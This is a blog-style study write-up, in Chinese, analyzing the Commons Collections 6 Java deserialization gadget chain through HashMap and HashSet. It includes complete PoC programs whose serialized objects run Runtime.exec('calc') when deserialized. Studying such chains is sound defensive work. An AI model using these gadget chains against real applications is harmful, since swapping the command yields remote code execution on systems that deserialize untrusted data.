CC6分析與利用

高人于斯發表於2024-06-25

CC鏈6的分析與利用

經過之前對CC1鏈和URLDNS鏈的分析,感覺自己對反序列化也有了個比較清晰的認知。分析了這兩條鏈子後就該分析CC6了,這條鏈子不受jdk的版本影響,並且只要commons collections 小於等於3.2.1,都存在這個漏洞。

鏈子分析

變化

相比之前的CC1,在jdk8u_71之後,AnnotationInvocationHandler類被重寫了,修改了readObject方法,裡面沒有了setValue方法。

下面是 jdk_17.0.11 版本的AnnotationInvocationHandler類中的readObject方法:

QQ截圖20240624134613

可以看到沒有了setValue方法的呼叫,那麼似乎就沒辦法利用CC1中的TransforMap鏈了。那利用另一條呢?

先把LazyMap呼叫get方法的構造寫出來(參考CC1的補充)

package org.example;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
    public static void main(String[] args)throws Exception {

        InvokerTransformer t = new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"});
        HashMap<Object,Object> map = new HashMap<>();
        Map<Object,Object> Lazy = LazyMap.decorate(map,t);
        Lazy.get(Runtime.getRuntime());
        }
    }

QQ截圖20240624145303

如果像之前一樣接著LazyMap繼續向上看,確實依然能發現invoke中還是呼叫了get方法,並且引數memberValues可控,但是下面readObject方法中的for迴圈,呼叫的引數不可控了,沒法讓其代理物件呼叫方法就沒法到Handler的invoke方法了。

QQ截圖20240624195401

所以這裡鏈子得另外找了,不過還是能繼承到CC1的一些東西,直接從LazyMap.get向上找。

HashMap鏈

TiedMapEntry.getValue()

發現TiedMapEntry.java中的getValue呼叫了get方法,跟進看看引數map可以控制不。

QQ截圖20240624203103

可以透過建構函式進行控制

QQ截圖20240624203243

那麼接下來就需要找誰呼叫了getValue方法,發現就在這個類裡面的hashCode呼叫了getValue方法。

TiedMapEntry.hashCode()

QQ截圖20240624213830

簡單測試構造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CC6test {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,cha);

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        Tie.hashCode();
    }
}

QQ截圖20240624214255

HashMap.hash()

接下來該幹什麼就不用多說了,因為還沒到readObject,所以還得繼續找誰呼叫了hashCode()方法,不過這個hashCode方法在之前的URLDNS鏈中也有用過,是在HashMap中的hash()方法進行的呼叫,到這裡就可以直接借用前面的URLDNS了,URLDNS鏈是:

    Gadget Chain:
      HashMap.readObject()
          HashMap.hash()
            URL.hashCode()

直接能夠到了readObject,這裡把最後就只用呼叫TiedMapEntry類的hashCode方法就行了。鏈子就變為了:

    Gadget Chain:
      HashMap.readObject()
          HashMap.hash()
            TiedMapEntry.hashCode()
            	TiedMapEntry.getValue()
            		LazyMap.get()
            			ChainedTransformer.transform()
            				...

put方法提前呼叫解決

不過這裡也會出現另一個問題,在HashMap中的readObject的key值是透過HashMap.put進行賦值的,但在呼叫HashMap.put的時候也會觸發到hashCode()方法,導致反序列化失敗。

QQ截圖20240624220935

而且這裡不像URL.hashCode可以透過反射修改hashCode的值來避免,這裡是直接就呼叫了沒有條件,所以得另想它法了。

那麼可以在put的時候傳個其他的Transformer物件,這樣到最後就是呼叫的其他物件的transform方法了,然後再利用反射把factory引數改為ChainedTransformer,這樣再反序列化的時候就可以呼叫到ChainedTransformer的transform方法了。

構造:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;


public class CC6test {
    public static void main(String[] args)throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };
        
        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put(Tie,"gaoren");
        
        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        serilize(hashmap);
        deserilize("ser.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

不過最後能執行但是沒彈計算機。

get方法的問題解決

關鍵地方在get方法中:

QQ截圖20240624224235

除錯發現再第一次呼叫put到get方法時,會先進行一個if判斷就看Map中是否包含了key值,沒有就能成功執行到transform方法,但是看到下面還有一句map.put(key, value),會把沒有的key值put進Map中。

QQ截圖20240625144015

這就導致了後面再反序列化的侯,再次到達這個if的時候就會因為Map中有key值而無法執行transform方法,不過這個可以像上面的Transformer一樣,再put方法後反射呼叫修改key值或者直接刪除Map中的key值。

最後poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));

        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashMap<Object,Object> hashmap = new HashMap<>();
        hashmap.put(Tie,"gaoren");

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        Lazy.remove("aaa");
//        Object o=new Object();
//        Class<TiedMapEntry> tie = TiedMapEntry.class;
//        Field field = tie.getDeclaredField("key");
//        Field modifiersField = Field.class.getDeclaredField("modifiers");
//        modifiersField.setAccessible(true);
//        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
//        field.setAccessible(true);
//        field.set(Tie,"aaaaaaaa");

        serilize(hashmap);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

HashSet鏈

HashSet.readObject()

hashset中的readObject方法在最後會觸發put,剩下的就不用說了,put就會上面說的put一樣了,最後可以觸發到hashcode方法:

QQ截圖20240625151017

但是這裡需要吧e變為TiedMapEntry物件,這樣才能觸發到TiedMapEntry的hashcode方法。

在HashSet中提供了add方法,可以利用add對e賦值

QQ截圖20240625151853

poc:

package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;

public class CC6test {
    public static void main(String[] args)throws Exception {

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
        };

        ChainedTransformer cha = new ChainedTransformer(transformers);
        HashMap<Object, Object> map = new HashMap<>();
        Map<Object, Object> Lazy = LazyMap.decorate(map,new ConstantTransformer(1));


        TiedMapEntry Tie=new TiedMapEntry(Lazy,"aaa");
        HashSet set=new HashSet();
        set.add(Tie);

        Class<LazyMap> lazyMapClass = LazyMap.class;
        Field factoryField = lazyMapClass.getDeclaredField("factory");
        factoryField.setAccessible(true);
        factoryField.set(Lazy, cha);

        Lazy.remove("aaa");
//        Object o=new Object();
//        Class<TiedMapEntry> tie = TiedMapEntry.class;
//        Field field = tie.getDeclaredField("key");
//        Field modifiersField = Field.class.getDeclaredField("modifiers");
//        modifiersField.setAccessible(true);
//        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
//        field.setAccessible(true);
//        field.set(Tie,"aaaaaaaa");

        serilize(set);
        deserilize("111.bin");
    }
    public static void serilize(Object obj)throws IOException {
        ObjectOutputStream out=new ObjectOutputStream(new FileOutputStream("111.bin"));
        out.writeObject(obj);
    }
    public static Object deserilize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream in=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=in.readObject();
        return obj;
    }
}

番外

在一開始除錯CC6的時候,為了對比其和CC1的區別,我把jdk版本改為了jdku71然後下載sun包原始碼,直接把CC1的LazyMap鏈複製過去。

執行:

QQ截圖20240625152727

報錯沒什麼好說的。

斷點除錯:

QQ截圖20240625152854

?怎麼給我跳了三個計算機,在invoke方法打上斷點發現竟然還能觸發invoke方法,後面把序列化去掉後還是彈三個計算機,反正搗鼓了很久,最後在b站白日夢組長CC6評論區破案,是IDEA偵錯程式問題,關掉下面兩個就好了。

參考:https://blog.csdn.net/lkforce/article/details/90479650

QQ截圖20240625153255

相關文章